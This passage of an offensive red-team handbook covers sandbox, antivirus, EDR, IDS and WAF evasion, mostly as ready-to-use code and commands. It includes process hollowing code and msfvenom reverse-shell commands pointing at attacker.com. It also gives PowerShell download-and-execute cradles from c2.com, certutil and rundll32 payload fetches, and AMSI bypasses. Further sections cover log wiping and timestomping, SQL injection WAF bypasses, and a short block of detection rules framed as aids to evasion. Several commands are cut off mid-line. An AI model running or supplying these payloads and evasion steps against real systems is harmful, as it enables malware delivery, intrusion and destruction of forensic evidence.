encrypted = xor_encrypt(payload)
print(f"char enc[] = {{{encrypted}}};")
```

19.4.4 API Hashing

```
// Don't import suspicious APIs by name
// Resolve at runtime via hash
DWORD GetApiHash(const char* apiName) {
    DWORD hash = 0;
    while (*apiName) {
        hash = ((hash << 5) + hash) + *apiName++;
    }
    return hash;
}

// Example usage
DWORD hashVirtualAlloc = 0x91AFCA54; // Hash of "VirtualAlloc"
// Resolve VirtualAlloc from kernel32.dll by hash
// Avoids static import table detection
```

19.4.5 Runtime API Resolution

```
// GetProcAddress at runtime (not in IAT)
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(kernel32, "VirtualAlloc");
// Or use PEB walking + API hashing for stealth
```

19.4.6 Sleep Obfuscation

```
// Encrypt memory before sleep, decrypt after
// Avoids memory scanning during sleep
void SleepObfuscated(DWORD ms) {
    // Encrypt .text section
    EncryptMemory(.text_start, .text_size, key);
    Sleep(ms);
    DecryptMemory(.text_start, .text_size, key);
}

// Cobalt Strike sleep_mask does this automatically
// Or use custom implementation
```

19.4.7 Process Hollowing

```
// Hollow out a legitimate process, inject payload
// 1. Create suspended process (e.g., svchost.exe)
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Unmap original code
NtUnmapViewOfSection(pi.hProcess, baseAddress);

// 3. Allocate new memory
VirtualAllocEx(pi.hProcess, baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 4. Write payload
WriteProcessMemory(pi.hProcess, baseAddress, payload, payloadSize, NULL);

// 5. Set thread context to payload entry
SetThreadContext(pi.hThread, &ctx);

// 6. Resume
ResumeThread(pi.hThread);
```

19.4.8 Environment Keying

```
// Only run on specific target environment
// Check computer name
WCHAR computerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
GetComputerNameW(computerName, &size);
if (wcscmp(computerName, L"TARGET-PC") != 0) { ExitProcess(0); }

// Check domain
WCHAR domain[256];
GetEnvironmentVariableW(L"USERDOMAIN", domain, 256);
if (wcscmp(domain, L"TARGET-DOMAIN") != 0) { ExitProcess(0); }

// Check specific registry key exists (target-specific)
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\TargetCompany", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
    ExitProcess(0);
}
```

19.5 Timing-Based Evasion

19.5.1 Delay Execution

```
// Simple delay
Sleep(60000); // 60 seconds

// Extended delay (sandbox timeout)
// Many sandboxes run for 60-120 seconds
// Sleep longer than sandbox timeout
Sleep(300000); // 5 minutes

// Incremental delay
for (int i = 0; i < 10; i++) {
    Sleep(60000); // Sleep 1 minute, 10 times
}
```

19.5.2 Time-Based Triggers

```
// Only run at specific time
SYSTEMTIME st;
GetLocalTime(&st);
if (st.wHour < 9 || st.wHour > 17) { // Only run 9 AM - 5 PM
    // Business hours = real user, not sandbox
    ExecutePayload();
} else {
    // Nighttime = likely sandbox
    Sleep(43200000); // Sleep 12 hours
}
```

19.5.3 Date-Based Evasion

```
// Only run after certain date (e.g., after email opened)
SYSTEMTIME st;
GetLocalTime(&st);
if (st.wYear >= 2025 && st.wMonth >= 1) {
    ExecutePayload();
}
```

19.6 Human Interaction Evasion

19.6.1 Require User Click

```
// MessageBox requires user click (sandbox may auto-click or timeout)
int result = MessageBoxA(NULL, "Error", "Critical Error", MB_YESNO | MB_ICONERROR | MB_SYSTEMMODAL);
if (result == IDYES) {
    // Only execute if user actually clicked
    ExecutePayload();
}
```

19.6.2 Require Mouse Movement

```
// Wait for real mouse movement
POINT start;
GetCursorPos(&start);
while (true) {
    POINT current;
    GetCursorPos(&current);
    if (abs(current.x - start.x) > 100 || abs(current.y - start.y) > 100) {
        // Significant movement = real user
        ExecutePayload();
        break;
    }
    Sleep(1000);
}
```

19.6.3 Require File System Activity

```
// Wait for user to create a file (real user activity)
// Monitor for new files in Documents, Desktop
// Sandboxes don't typically create files
```

19.7 Network-Based Sandbox Evasion

19.7.1 Check External IP

```
// Query external IP, check against known sandbox IPs
// Many sandboxes use known cloud IPs (AWS, Azure)
// If external IP is in cloud range = sandbox
```

19.7.2 Check Network Connectivity

```
// Sandboxes often have simulated network
// Check if real internet access exists
// Try to connect to known-good server
// If connection fails = simulated network = sandbox
```

19.7.3 Delay Network Activity

```
// Don't call C2 immediately
// Wait for user interaction first
// Sandboxes capture network activity immediately
```

19.7.4 Domain Generation

```
// Generate C2 domain based on date
// Sandbox detonated on different day gets wrong domain
// Only works on target date
char* GenerateC2Domain() {
    SYSTEMTIME st;
    GetLocalTime(&st);
    // Domain changes daily
    sprintf(domain, "payload-%d-%d.com", st.wMonth, st.wDay);
    return domain;
}
```

19.8 Anti-Emulation Techniques

19.8.1 Detect Emulation via Timing

```
// Emulation is slower than real execution
// RDTSC instruction reads CPU cycle counter
ULONGLONG start = __rdtsc();
// Do some work
for (volatile int i = 0; i < 1000000; i++);
ULONGLONG end = __rdtsc();
if (end - start > 100000000) { // Too slow = emulator
    ExitProcess(0);
}
```

19.8.2 Detect Emulation via CPUID

```
// Check hypervisor bit
int cpuInfo[4];
__cpuid(cpuInfo, 1);
if (cpuInfo[2] & (1 << 31)) { // Hypervisor present
    // Could be VM or emulator
}
```

19.8.3 Detect Emulation via Exceptions

```
// Emulators often don't handle exceptions properly
__try {
    // Intentionally cause exception
    *(int*)0 = 0;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
    // Real OS handles this, some emulators don't
    // If we get here, likely real OS
    ExecutePayload();
}
```

19.9 Polymorphic & Metamorphic Payloads

19.9.1 Polymorphic Shellcode

```
# Each sample is different but functionally identical
# Use encryption with random key each time
import os

def polymorphic_encode(shellcode, key=None):
    if key is None:
        key = os.urandom(16)
    encrypted = bytes(a ^ b for a, b in zip(shellcode, (key * 100)[:len(shellcode)]))
    # Generate decoder stub
    stub = generate_decoder_stub(key)
    return stub + encrypted

# Each run generates different encrypted payload
```

19.9.2 Metamorphic Payloads

```
# Rewrite code each time, not just encrypt
# Dead code insertion, register reassignment, instruction substitution
# Tools: metamoric-code-engine, custom implementations
```

19.9.3 Tools

```
# msfvenom encoding
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payloa

# Multiple encoders
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -e x86/xor_dynamic -i 2 -f exe

# Custom encoder
msfvenom -p windows/x64/meterpreter/reverse_tcp --encoder custom -f exe
```

19.10 File Evasion Techniques

19.10.1 File Type Confusion

```
# Polyglot files (valid as multiple formats)
# PDF + EXE
# JPEG + EXE
# Office document + EXE

# Using png-polyglot, pdf-exe-polyglot
python3 polyglot.py image.png payload.exe polyglot.png.exe
```

19.10.2 File Extension Tricks

```
# Windows double extension
payload.pdf.exe  # Shows as .pdf to casual glance

# Alternate data streams
payload.exe:hidden.exe
copy payload.exe "file.pdf:hidden.exe"

# Right-to-left override
payload\u202Egnp.exe  # Shows as .exe.png

# Space before extension
payload.exe .pdf
payload.pdf .exe
```

19.10.3 Fileless Execution

```
# PowerShell in-memory
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://c2.com/payload.ps1')"

# Using .NET assembly
powershell -c "Add-Type -Path C:\assembly.dll; [Class]::Main()"

# Using WMI
wmic /namespace:\\root\subscription path __EventConsumer create

# Using registry
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /d "powershell -enc <base64>" /f
```

19.11 Packing & Obfuscation Tools

```
# UPX packer
upx --best payload.exe -o packed.exe

# MPRESS
mpress.exe -o packed.exe payload.exe

# Enigma Virtual Box (file system virtualization)
EnigmaVB.exe --input payload.exe --output packed.exe

# Themida / VMProtect (commercial, strong)
# Not easily reversible

# Custom packer
# Use ASPack, PECompact, or write custom packer
```

19.12 Sandbox Detection Tools (For Testing Your Payloads)

```
# Sandboxie detection
# Check for SbieDll.dll loaded
# Check for SbieCtrl.exe process

# Check common sandbox artifacts
# C:\sandbox\ directory
# C:\analysis\ directory
# C:\sample\ directory

# Check for common sandbox files
# C:\analysis\malware\
# C:\sample\malware\

# Check for analysis tools
# Wireshark, Process Monitor, Process Hacker
# IDA Pro, x64dbg, OllyDbg
# Fiddler, Burp Suite
```

19.13 Bypassing Specific Sandboxes

Any.Run

```
- Requires user interaction (mouse click)
- Default timeout ~5 minutes
- Check for VM artifacts
- Delay payload > 5 minutes
- Require mouse movement > 100 pixels
```

Cuckoo Sandbox

```
- Often uses Windows 7/10 with specific config
- Low RAM (2-4GB)
- Check for Cuckoo artifacts:
  - C:\cuckoo\ directory
  - pipe: \cuckoo
  - Process: python.exe as parent
- Delay > analysis timeout
```

Joe Sandbox

```
- Uses real VMs
- Check for Joe sandbox artifacts
- Check for network simulation
- Delay and require interaction
```

Hybrid Analysis

```
- Cloud-based, uses Windows VMs
- Limited runtime
- Check for cloud IP ranges
- File type restrictions
```

VMRay

```
- Hypervisor-level monitoring
- Harder to detect
- Focus on network timing evasion
- Delay network calls
```

Microsoft Defender Sandbox

```
- Runs in AppContainer
- Check for AppContainer
- Limited user privileges
- Check for specific environment variables
```

19.14 Testing Your Evasion

```
# Test against multiple sandboxes
# 1. Any.Run (free tier)
# 2. Hybrid Analysis (free)
# 3. Joe Sandbox (free tier)
# 4. Cuckoo (self-hosted)
# 5. VirusTotal (multiple engines)

# Check if payload is detected
# Submit to sandboxes, check verdicts

# Iterate until clean
# Add delays, anti-VM, anti-sandbox checks
```

19.15 Sandbox Evasion Checklist

```
[ ] Anti-VM detection (registry, MAC, processes, hardware)
[ ] Anti-debugging (IsDebuggerPresent, timing, hardware breakpoints)
[ ] Anti-sandbox (mouse, resolution, RAM, CPU, uptime, processes)
[ ] Timing evasion (sleep > sandbox timeout)
[ ] Human interaction required (click, mouse movement)
[ ] Environment keying (specific computer name, domain, files)
[ ] String encryption / API hashing
[ ] Polymorphic payload (different each run)
[ ] File type confusion / extension tricks
[ ] Network timing (delay C2 calls)
[ ] Sleep obfuscation (encrypt during sleep)
[ ] Process hollowing / injection into legitimate process
```

PART 20: ADVANCED / FRONTIER TECHNIQUES

20.1 Encrypted Client Hello (ECH) + DoH

```
# Complete encryption of DNS + TLS SNI
# Even network operator can't see destination
# Firefox: enable ECH + DoH
# Requires ECH-enabled resolver
```

20.2 Custom Protocol Implementation

```
# Build custom protocol that looks like normal traffic
# Use scapy to craft custom packets
# Or use raw sockets

# Python example: custom HTTP-like protocol
import socket

def custom_protocol_send(data, dst, port):
    # Custom protocol that looks like HTTP
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((dst, port))
    # Format: looks like HTTP but custom payload
    request = f"GET /api/v1/data HTTP/1.1\r\nHost: {dst}\r\nX-Custom: {data.hex()}\r\n\r\n"
    sock.send(request.encode())
```

20.3 Using IPv6 for Evasion

```
# IPv6 less monitored in many environments
# Scan and exploit over IPv6
nmap -6 -sS target-ipv6.com

# Tunnel IPv6 over IPv4
# Using 6in4, 6to4, Teredo
# Or sit tunnel
sudo ip tunnel add sit1 mode sit remote 1.2.3.4 local 5.6.7.8
sudo ip link set sit1 up
```

20.4 Software-Defined Networking (SDN) Evasion

```
# In SDN environments, flow tables control routing
# Manipulate flow rules if possible
# Or use OpenFlow protocol vulnerabilities
```

20.5 5G/Network Slicing Evasion

```
# 5G network slicing may have weaker security in some slices
# Or use private APN
# More advanced; requires physical/telecom knowledge
```

20.6 Using AI/ML Adversarial Examples

```
# Adversarial ML to evade ML-based IDS
# Add noise to traffic that confuses ML classifier
# Research area; tools: Adversarial-ML-Toolkit
```

20.7 Using Living-off-the-Land Binaries (LOLBins)

```
# Use legitimate tools for evasion
# Certutil for download
certutil -urlcache -f http://payload.com/shell.exe shell.exe

# PowerShell for execution
powershell -enc <base64-encoded-command>

# WMIC for lateral movement
wmic /node:target process call create "cmd.exe /c payload.exe"

# Rundll32 for execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://payload.com/shell.sct")
```

20.8 Fileless Malware Techniques

```
# PowerShell fileless
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://payload.com/invoke.ps1')"

# Using .NET assemblies in memory
powershell -c "Add-Type -TypeDefinition <C#-code>; [Class]::Main()"

# Using WMI event subscription
wmic /namespace:\\root\subscription path __EventConsumer create
```

20.9 Process Injection

```
# Inject into legitimate process
# Using Metasploit
use post/windows/manage/inject_shell
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
set LPORT 4444
set PROCESS explorer.exe
run

# Using Covenant / Sliver C2
inject --process explorer.exe --dotnet assembly.dll
```

20.10 AV/EDR Evasion Basics

```
# Obfuscate payloads
# Using ASProtect, Themida, Enigma
# Or custom encryption

# AMSI bypass
powershell -c "sET-ItEM ( 'V'+'aR' + 'iable'+'s:I'+'nvo'+'ckE'+'x'+'ec' ) ( TrIaL:('VeR'+'b'+'s')+'x'+'ECuT'+'iOnPOpEr'+'

# AMSI bypass alternative
$a=[Ref].Assembly.GetTypes()|%{if($_.Name -like "*siUtils*"){$_.GetMethods()|?{$_.Name -like "*sInIt*"}}};$a[0].Invoke($n

# ETW bypass
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Windows.EventTracing')
```

PART 21: RED TEAM OPSEC (OPERATIONAL SECURITY)

21.1 OPSEC Principles for Evasion

1. **Know Your Enemy:** Understand what defenses are in place.
2. **Minimize Footprint:** Fewer packets = fewer logs.
3. **Blend In:** Make traffic look normal.
4. **Encrypt Everything:** When possible, encrypt C2 and payloads.
5. **Compartmentalize:** Don't reuse infrastructure.
6. **Assume Breach:** Assume every action is logged.
7. **Test Defenses:** Always test evasion in lab first.

21.2 Infrastructure OPSEC

```
# Use dedicated infrastructure
# - VPS for C2 (not home IP)
# - Domain registration privacy
# - Bulletproof hosting for payloads
# - Multiple callback domains

# Domain fronting domains
# - Use legitimate CDNs (Cloudflare, AWS CloudFront, Azure)
# - Rotate domains frequently

# Infrastructure as Code
# Terraform for quick rebuilds
# Ansible for configuration
```

21.3 Network OPSEC

```
# Use VPN before Tor before target
# Rotate source IPs
# Use mangle NAT rules to hide source

# On Linux:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Or use Tor transparent proxy
# /etc/tor/torrc
# TransPort 9040
# DNSPort 5353
```

21.4 Timing OPSEC

```
# Don't scan during business hours
# Don't send C2 at regular intervals
# Use jitter in C2 callbacks

# Cobalt Strike jitter example
# set jitter "30";  # 30% jitter

# Or random sleep
sleep $((RANDOM % 300 + 60))
```

21.5 Evidence Cleanup

```
# Clear logs
# Linux
sudo truncate -s 0 /var/log/auth.log
sudo truncate -s 0 /var/log/syslog
sudo truncate -s 0 /var/log/apache2/access.log

# Clear bash history
history -c
rm ~/.bash_history

# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Clear PowerShell history
Remove-Item (Get-PSReadLineOption).HistorySavePath

# Clear registry traces
# Delete Run keys
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v payload /f
```

21.6 Anti-Forensics

```
# Timestomping
# Linux
touch -d "2024-01-01 12:00:00" file.exe

# Windows
python3 timestomp.py file.exe -z "2024-01-01 12:00:00"

# File deletion without traces
shred -u -v file.exe

# Memory wiping
# Linux: echo 3 > /proc/sys/vm/drop_caches
```

21.7 C2 Profile Best Practices

```
# 1. Mimic legitimate traffic
# 2. Use HTTPS with valid certs
# 3. Vary User-Agents
# 4. Use realistic URIs
# 5. Add jitter to callbacks
# 6. Encrypt payload at rest
# 7. Use domain fronting when possible
# 8. Rotate infrastructure
```

21.8 Red Team Testing Checklist

```
[ ] Recon done passively
[ ] Evasion tested in lab
[ ] C2 infrastructure ready
[ ] Payloads obfuscated
[ ] Backup channels configured
[ ] Cleanup scripts ready
[ ] Evidence collection plan
[ ] Emergency procedures documented
```

PART 22: DETECTION & COUNTERMEASURES (DEFENDER VIEW)

Understanding detection helps you evade it better.

22.1 Network-Based Detection

```
# Snort rules that catch evasion
# Detect fragmentation
alert ip any any -> $HOME_NET any (
    msg:"IP Fragmentation Detected";
    fragbits: M;
    sid:1000001;
)

# Detect port hopping
alert tcp any any -> $HOME_NET any (
    msg:"Unusual Port Detected";
    dport:!80,443,53;
    sid:1000002;
)

# Detect tunneling (DNS tunnel)
alert dns any any -> any 53 (
    msg:"Possible DNS Tunneling";
    dns.query; content:".";
    pcre:"/[a-zA-Z0-9]{50,}/";
    sid:1000003;
)
```

22.2 Zeek (Bro) Detection

```
# Zeek scripts for evasion detection
# Detect port scans
@load scan
@load misc/scan-tracking

# Detect DNS tunneling
@load dns
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count)
{
    if (|query| > 100) {
        print fmt("Possible DNS tunnel: %s", query);
    }
}

# Detect tunneling protocols
@load tunnel
event connection_established(c: connection)
{
    if (c$id$resp_p == 53 || c$id$resp_p == 80) {
        # Log for analysis
    }
}
```

22.3 Suricata Rules

```
# Detect ICMP tunneling
alert icmp any any -> any any (
    msg:"ICMP Tunneling Detected";
    dsize:>100;
    sid:2000001;
)

# Detect HTTP tunneling
alert http any any -> any any (
    msg:"HTTP Tunneling Detected";
    http.header; content:"X-Tunnel";
    sid:2000002;
)
```

22.4 Endpoint Detection (EDR)

```
# Evasion techniques that work against EDR:
# 1. Process injection into trusted processes
# 2. Fileless malware (PowerShell, WMI)
# 3. Living-off-the-land binaries
# 4. AMSI bypass
# 5. ETW bypass
# 6. Sleep masking (Cobalt Strike)
# 7. Direct syscalls (avoid hooked APIs)
# 8. Unhooking ntdll.dll

# Detecting: EDR looks for:
# - Suspicious API calls (CreateRemoteThread, VirtualAllocEx)
# - Parent-child process anomalies
# - Network connections from unusual processes
# - Registry modifications
```

22.5 Firewall Rule Evasion Detection

```
# Detect rule evasion:
# - Monitor for fragmentation
# - Monitor for unusual IP options
# - Monitor for source port anomalies
# - Monitor for TTL anomalies
# - Monitor for unusual TCP flags

# iptables logging
iptables -A INPUT -f -j LOG --log-prefix "FRAGMENT: "
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "NULL_SCAN: "
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j LOG --log-prefix "XMAS_SCAN: "
```

22.6 Machine Learning Detection

```
# ML-based detection can find:
# - Anomalous traffic patterns
# - Unusual timing
# - Unusual packet sizes
# - Unusual protocol usage

# Evasion:
# - Mimic normal traffic statistics
# - Use gradual changes (low-and-slow)
# - Encrypt payloads (high entropy looks normal)
```

PART 23: TOOL REFERENCE CHEAT SHEET

23.1 Core Evasion Tools

Tool	Purpose	Key Features
Scapy	Packet crafting	Full control over packets, fragmentation, options
Hping3	Packet generator/analysis	Fragmentation, source spoofing, custom flags
Nmap	Network scanning	Stealth scans, decoys, timing, fragmentation
Proxychains	Proxy chaining	Route through multiple proxies
Tor	Anonymization	Network-level anonymity
Chisel	TCP tunnel over HTTP	Fast, encrypted, single binary
Ligolo-ng	Transparent proxy	Full network pivoting
dnscat2	DNS tunnel	Full-featured DNS C2
iodine	IP over DNS	IP tunnel over DNS
ptunnel	ICMP tunnel	TCP over ICMP
Cloakify	Payload obfuscation	Transform payloads into benign text
stunnel	SSL/TLS wrapper	Wrap any TCP in TLS
socat	Swiss army knife	Multipurpose relay

23.2 Scapy Quick Reference

```
from scapy.all import *

# Basic packet
pkt = IP(dst="target")/TCP(dport=80, flags="S")
send(pkt)

# Fragmentation
frag = fragment(pkt, 8)
send(frag)

# ICMP with payload
pkt = IP(dst="target")/ICMP()/Raw(load="hidden data")
send(pkt)

# Sniff
sniff(filter="tcp port 80", count=10)

# Send and receive
ans, unans = sr(IP(dst="target")/TCP(dport=80, flags="S"))
```

23.3 Hping3 Quick Reference

```
# SYN scan
hping3 -S -p 80 target.com

# FIN scan
hping3 -F -p 80 target.com

# XMAS scan
hping3 -X -p 80 target.com

# Fragmented
hping3 -f -p 80 target.com

# Spoof source
hping3 -S -a 10.0.0.1 -p 80 target.com

# Random source
hping3 -S --rand-source -p 80 target.com

# ICMP
hping3 -1 -p 7 target.com

# UDP
hping3 -2 -p 53 target.com
```

23.4 Nmap Evasion Quick Reference

```
# Basic evasion
nmap -f -T0 -D RND,ME target.com

# Maximum evasion
nmap -f -ff -D RND,ME,RND -T0 -sS --top-ports 100 --spoof-mac 0 target.com

# Idle scan
nmap -sI zombie-host target.com

# Source port spoofing
nmap -g 53 -p 80 target.com

# Timing
nmap -T0 --max-retries 1 --max-rate 1 target.com

# Fragmentation + decoy + timing
nmap -f -D RND,ME -T1 -sS --top-ports 20 --spoof-mac 0 target.com
```

23.5 Proxychains Quick Reference

```
# Configure /etc/proxychains.conf
# strict_chain
# proxy_dns
# [ProxyList]
# socks4 127.0.0.1 9050
# socks5 127.0.0.1 1080

# Use with nmap
proxychains nmap -sT -Pn target.com

# Use with curl
proxychains curl http://target.com

# Use with ssh
proxychains ssh user@target

# Random chain
# random_chain
# chain_len = 3
```

PART 24: QUICK COMMAND REFERENCE

24.1 Firewall Evasion Cheat Sheet

```
# Fragmentation
nmap -f target.com
hping3 -f -V -p 80 target.com

# Source port spoofing
nmap -g 53 target.com
hping3 -S -s 53 -p 80 target.com

# Decoy
nmap -D RND,ME target.com

# Idle scan
nmap -sI zombie target.com

# TCP flags
nmap -sX target.com  # XMAS
nmap -sN target.com  # NULL
nmap -sF target.com  # FIN

# Timing
nmap -T0 target.com  # Paranoid
nmap -T1 target.com  # Sneaky

# Combine
nmap -f -D RND,ME -T1 -sS --top-ports 100 target.com
```

24.2 IDS/IPS Evasion Cheat Sheet

```
# Fragmentation (bypass signature)
nmap -f target.com
hping3 -f -p 80 target.com

# Session splicing (split payload)
# Use scapy to send byte-by-byte

# Timing (evade rate detection)
nmap -T0 --max-rate 1 target.com
hping3 -S -p 80 --delay 1000 target.com

# Encoding (bypass signature)
# URL encode: UNION SELECT → %55%4E%49%4F%4E%20%53%45%4C%45%43%54
# Base64: UNION SELECT → VU5PTiBTRUxFQ1Q=

# Cloakify
cloakify -i payload.txt -c base64.txt
```

24.3 WAF Evasion Cheat Sheet

```
# URL encoding
curl "https://target.com/?id=1%20UNION%20SELECT%201"

# Double encoding
curl "https://target.com/?id=1%2520UNION%2520SELECT"

# Case manipulation
curl "https://target.com/?id=1 uNiOn SeLeCt 1"

# Comments
curl "https://target.com/?id=1/**/UNION/**/SELECT"

# HTTP methods
curl -X POST -d "id=1' UNION SELECT 1" https://target.com/

# Headers
curl -H "X-Forwarded-For: 127.0.0.1" "https://target.com/"
```

24.4 Tunneling Cheat Sheet

```
# SSH local forward
ssh -L 8080:target:80 user@jumpbox

# SSH remote forward
ssh -R 8080:localhost:80 user@remote

# SSH SOCKS proxy
ssh -D 1080 user@jumpbox

# Chisel
# Server: ./chisel server --reverse --port 8080
# Client: ./chisel client attacker:8080 R:1080:socks

# DNS tunnel
# dnscat2 dns --dns="domain=tunnel.com"
# iodined -f -P pass 10.0.0.1 tunnel.com

# ICMP tunnel
# ptunnel -lp 8080
# ptunnel -lp 31337 -da target -dp 22
```

24.5 Scanning Evasion Cheat Sheet

```
# Maximum evasion scan
nmap -f -ff -D RND,ME,RND -T0 -sS --top-ports 100 --spoof-mac 0 target.com

# Slow scan
nmap -T0 --max-retries 1 --max-rate 1 target.com

# Idle scan
nmap -sI zombie target.com

# Stealth scan
nmap -sS -f -T0 --top-ports 100 target.com

# With source spoofing
nmap -g 53 -D 10.0.0.1,ME,10.0.0.2 -p 80 target.com
```

24.6 C2 Evasion Cheat Sheet

```
# Domain fronting
curl -H "Host: blocked.com" --resolve "cdn.com:443:cdn-ip" https://cdn.com/

# Encrypted C2
# Cobalt Strike with malleable profile
./cobaltstrike --profile GitHub.profile

# DNS over HTTPS
curl -H "accept: application/dns-json" "https://dns.google/resolve?name=c2.com&type=A"

# Sleep jitter
# Cobalt Strike: set jitter "30"
```

24.7 Sandbox Evasion Cheat Sheet

```
# Polymorphic payload generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 \
         -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

# Fileless execution
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://c2.com/p.ps1')"

# AMSI bypass (before payload)
powershell -c "sET-ItEM ( 'V'+'aR'+'iables:I'+'nvo'+'kE'+'x'+'ec' ) ( TrIaL:('VeR'+'b'+'s')+'x'+'ECuT'+'iOnPOpEr'+'at'+'i

# UPX packing
upx --best payload.exe -o packed.exe

# Extension tricks (Windows)
copy payload.exe "report.pdf.exe"
copy payload.exe "report.pdf:hidden.exe"

# Sleep > sandbox timeout (PowerShell)
Start-Sleep -Seconds 300  # 5 minutes

# Check for VM artifacts (PowerShell)
Get-WmiObject Win32_ComputerSystem | Select-Object Manufacturer, Model
Get-WmiObject Win32_NetworkAdapter | Where-Object {$_.MACAddress -match "00:0C:29|08:00:27|52:54:00"}

# Test payload against sandboxes
# Submit to: any.run, hybrid-analysis.com, Joe Sandbox, VirusTotal
```

APPENDIX A: LAB EXERCISES

Exercise 1: Firewall Evasion Basics

```
Target: Metasploitable 2 or DVWA
Goal: Port scan without triggering firewall alerts
Technique: Use nmap -f -T1 -D RND,ME
```

Exercise 2: IDS Evasion

```
Target: Snort/Suricata monitored network
Goal: Exfiltrate data without triggering alerts
Technique: DNS tunneling with dnscat2
```

Exercise 3: WAF Bypass

```
Target: DVWA with WAF (ModSecurity)
Goal: SQL injection past WAF
Technique: Use comment injection + URL encoding
```

Exercise 4: Tunneling

```
Target: Internal network with only port 80 open
Goal: Access internal services
Technique: SSH over HTTP (stunnel) + SOCKS proxy
```

Exercise 5: C2 Evasion

```
Target: Simulated enterprise with EDR
Goal: Maintain C2 without detection
Technique: Cobalt Strike malleable profile + domain fronting
```

APPENDIX B: FURTHER READING

Books

- "The Hacker Playbook 3" - Peter Kim
- "Red Team Field Manual" - Ben Clark
- "Network Security Assessment" - Chris McNab
- "Practical Packet Analysis" - Chris Sanders

Courses

- TryHackMe: Network Security Evasion Path
- Offensive Security: Penetration Testing with Kali (PWK)
- SANS: SEC560 - Network Penetration Testing and Ethical Hacking
- PentesterLab: Web for Pentester

Tools Documentation

- Nmap: https://nmap.org/book/man.html
- Scapy: https://scapy.readthedocs.io/
- Hping3: http://www.hping.org/
- Cobalt Strike: https://www.cobaltstrike.com/

Communities

- Reddit: r/netsec, r/redteam, r/blueteamsec
- Twitter: #infosec #redteam #pentesting
- Discord: various infosec servers

APPENDIX C: COMMON PORTS AND THEIR TUNNELING POTENTIAL

Port	Protocol	Tunneling Potential	Tools
53	DNS	High	dnscat2, iodine
80	HTTP	High	Chisel, stunnel
443	HTTPS	High	stunnel, SSH
22	SSH	High	SSH tunnel
25	SMTP	Medium	Custom SMTP tunnel
123	NTP	Low	ntpcat
137-139	NetBIOS	Low	Custom
161	SNMP	Low	Custom
389	LDAP	Medium	Custom
443	HTTPS	High	Domain fronting

APPENDIX D: QUICK REFERENCE - EVASION BY DEFENSE TYPE

Against Packet-Filtering Firewall

- Fragmentation
- Source port spoofing
- Protocol mismatch
- ICMP/DNS tunneling

Against Stateful Firewall

- Tunneling in established flows
- Encryption
- Protocol manipulation
- HTTP smuggling

Against IDS/IPS

- Fragmentation + reassembly evasion
- Encoding/obfuscation
- Timing-based evasion
- Session splicing
- Alternative protocols

Against WAF

- HTTP method manipulation
- Encoding (URL, double, unicode)
- Comment injection
- HTTP smuggling
- Parameter pollution

Against EDR

- Process injection
- Fileless malware
- LOLBins
- AMSI bypass
- Sleep masking

Against NGFW

- Encryption (TLS 1.3)
- Domain fronting
- Custom protocols
- DoH/DoT

END OF DOCUMENT

This document is for authorized security testing and educational purposes only. Last updated: October 2026